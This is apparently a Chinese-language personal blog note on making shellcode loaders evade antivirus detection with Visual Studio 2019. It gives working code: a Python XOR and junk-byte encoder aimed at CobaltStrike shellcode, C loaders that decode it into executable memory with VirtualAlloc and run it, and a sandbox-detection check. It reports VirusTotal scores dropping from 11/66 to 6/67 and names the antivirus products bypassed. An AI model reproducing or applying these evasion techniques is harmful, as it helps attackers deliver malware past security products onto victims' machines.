VS2019使用注意事项
使用Release
在” 项目 –> 项目属性(最后一个) “里,左上角配置里,改位release禁用优化
在” 项目 –> 项目属性(最后一个) –> C/C++ –> 优化 “里面禁用栈缓冲区安全检查(?Gs)
在” 项目 –> 项目属性(最后一个) –> C/C++ –> 代码生成 “里
https://blog.csdn.net/wenrennaoda/article/details/99683051禁用DEP
在” 项目 –> 项目属性(最后一个) –> 链接器 –> 高级 “里在编译时根据生成的shellcode有没有勾选x64,选择64或86,不然编译运行会报错Privileged instruction
重新定义程序入口
#pragma comment(linker,”/subsystem:"windows" /entry:"Run"“)关闭运行黑窗口
#pragma comment(linker, “/INCREMENTAL:NO”)文件后缀应该是.cpp,而不是.c
优先选择x86,也就是32位的shellcode,可以少很多麻烦
源码免杀
- 目的:
- shellcode在执行前,防病毒软件都不能正确识别它
- 面临的问题:
- 需要抵抗静态/启发式检测
- 解决方法:
- 加密存储shellcode,内存解密
- 混淆解密代码
- 常见病毒检测机制:
1.静态检测
2.动态检测不允许程序的情况下进行软件的分析检测。
3.基于特征码检测在真实或虚拟处理器上运行程序,HOOK关键函数对传递的参数、文件操作、内存操作进行检测。
4.基于沙箱的检测大部分防病毒软件识别恶意软件的基础。获取恶意样本,提取特征码,放入放入防病毒库。(特征码的提取可以使用模糊哈希算法)
5.启发式检测在隔离或虚拟的环境中进行测试。对文件操作、内存操作等进行行为分析和规则匹配。(加壳加密程序好检测)
通过预定义的标准对代码片段进行分类,提供威胁/风险等级来检测未知病毒,一旦分数高于阈值就识别为恶意软件。
- 免杀核心思想:混淆、加解密、替换
- 加解密: 对shellcode或二 进制程序进行加密使其难以逆向。对环境进行检测,运行环境”安全”则开始解密并在内存中加载执行
- 混淆: 在不破坏程序运行的基础上,通过添加几行无意义代码或更改指令执行顺序(使静态分析更困难,还改变了二进制程序的散列特征)
- 内联汇编混淆解密代码
- shellcode免杀(异或)
- 函数指针执行shellcode,关闭edp(执行数据保护)
.
混淆
- 异或
https://saucer-man.com/operation_and_maintenance/465.html
先借助python,对shellcode编码,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode
def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
new_shellcode += shellcode[i]
new_shellcode += key[i % key_len]
return new_shellcode
# 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",'')
if len(s) == 1:
s = "0" + s
raw =raw + "\\x" + s
return raw
# c,64,CobaltStrike
shellcode = "s";
# 这是异或和增加随机字符使用的key,为了提高复杂度也可以使用两个key
key = "fdaufdiqe"
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
# 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key)
# 将shellcode打印出来
print(str_to_hex(shellcode))1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
typedef void(_stdcall* CODE)();
void XOR_Decrypt()
{
unsigned char shellcode[] = "shellcode";
int shellcode_size = 0; //原始shellcode长度
int shellcode_final_size = 0; //解码之后的shellcode长度
char key[] = "fdaufdiqe";
int j;
int key_size = sizeof(key) - 1;
unsigned char* shellcode_final;
// 获取shellcode大小
shellcode_size = sizeof(shellcode);
// 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
shellcode_final_size = (shellcode_size + 1) / 2;
shellcode_final = (unsigned char*)malloc(shellcode_final_size);
//首先去除垃圾代码,将结果保存在shellcode_final
j = 0;
for (int i = 0; i < shellcode_size; i++) {
if (i % 2 == 0) {
shellcode_final[j] = shellcode[i];
j += 1;
}
}
//然后进行异或处理,还原shellcode
for (int i = 0; i < shellcode_final_size; i++) {
shellcode_final[i] ^= key[i % key_size];
}
PVOID p = NULL;
p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (p == NULL)
{
return;
}
memcpy(p, shellcode_final, shellcode_final_size);
CODE code = (CODE)p;
code();
}
int main(int argc, char** argv)
{
XOR_Decrypt();
}
执行shellcode
不带内联汇编
函数指针执行shellcode,关闭edp(执行数据保护)
- 不能运行,报错:执行位置 0x00000049476FF970 时发生访问冲突。
1
2
3
4
5
6
7
8
void loader1()
{
char shellcode[] = 'shellcode';
int (*func)();
func = (int(*)())(void*)shellcode;
(int)(*func)();
}
- 不能运行,报错:执行位置 0x00000049476FF970 时发生访问冲突。
xxxx
- 不能运行,报错:执行位置 0x0000002E0D8FF5C0 时发生访问冲突。
1 | void loader() |
- xxxx
- 可以运行
1 | void loader1() |
- xxxx
- 可以运行()
1 | typedef void(_stdcall* CODE)(); |
- xxx
- 可以运行,但是只能运行一下
1 | void loader |
- xxxx
- 可以运行
1 | void loader |
xxxx
- 无法运行
1
2
3
4
5
6
7
8
9
10
11
12
13typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD);
void loader1()
{
HINSTANCE k32 = LoadLibrary(TEXT("kernel32.dll"));
Func pFunc;
if (k32 != NULL)
{
pFunc = (Func)GetProcAddress(k32, "VirtuallAlloc");
DWORD exec = pFunc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy((void*)exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}
}
- 无法运行
- xxxx
- 无法运行
1 | typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD); |
带内联汇编
- text节运行shellcode
- 不能运行
1 | int main() |
反沙箱技术
延时
借助自带API效果不好,可以通过大量计算来延时
文件名
部分沙箱会重命名文件,可以加一个判断
模拟文件操作
创建一个文件,再打开,如果文件打开失败(沙箱可能会组织程序创建文件),则有可能是沙箱中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31int main(int argc, char** argv)
{
CHAR FILE_PATH[] = "1.txt";
HANDLE file;
DWORD tmp;
LPCVOID buff = "1234";
char outputbuff[5] = { 0 };
file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (WriteFile(file, buff, strlen((const char*)buff), &tmp, NULL))
{
CloseHandle(file);
file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"),
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (ReadFile(file, outputbuff, 4, &tmp, NULL))
{
if (strncmp((char*)buff, outputbuff, 4) == 0)
{
// 运行shellcode
loader7();
}
}
CloseHandle(file);
}
DeleteFile(TEXT("E:\\VS_bypassAV\\1.txt"));
}亲测,没有加这步的程序,
11/66
加上这步后,
6/67
对比可以知道,文件操作可以解决avira,Cylance,Elastic,ESET-NOD32,FireEye,Ikarus这些杀软.
加壳
看别人公众号,找了一个工具http://www.safengine.com/
把上面6/67的程序加一下壳,12kb变805kb,大小还不是问题
上virustotal查一下,看来是被加黑名单了
31/66
关于内联汇编
https://blog.csdn.net/luoyu510183/article/details/109429007
代码:
1 |
|
32位汇编不需要做任何调整,只需要注意看这里是不是x86就行,基本上编译一下就过了
相比较于32位汇编, 64位要麻烦一点, 因为VS原生不支持64位汇编,所以这里需要使用clang来帮助编译.
在” 项目 –> 项目属性(最后一个) –> 常规 –> 平台工具集 “选择
如果没有的话,打开vs installer,找到对应的vs版本,修改 –> 单个组件 搜索clang,安装这两个(真大啊)
然后就可以编译运行了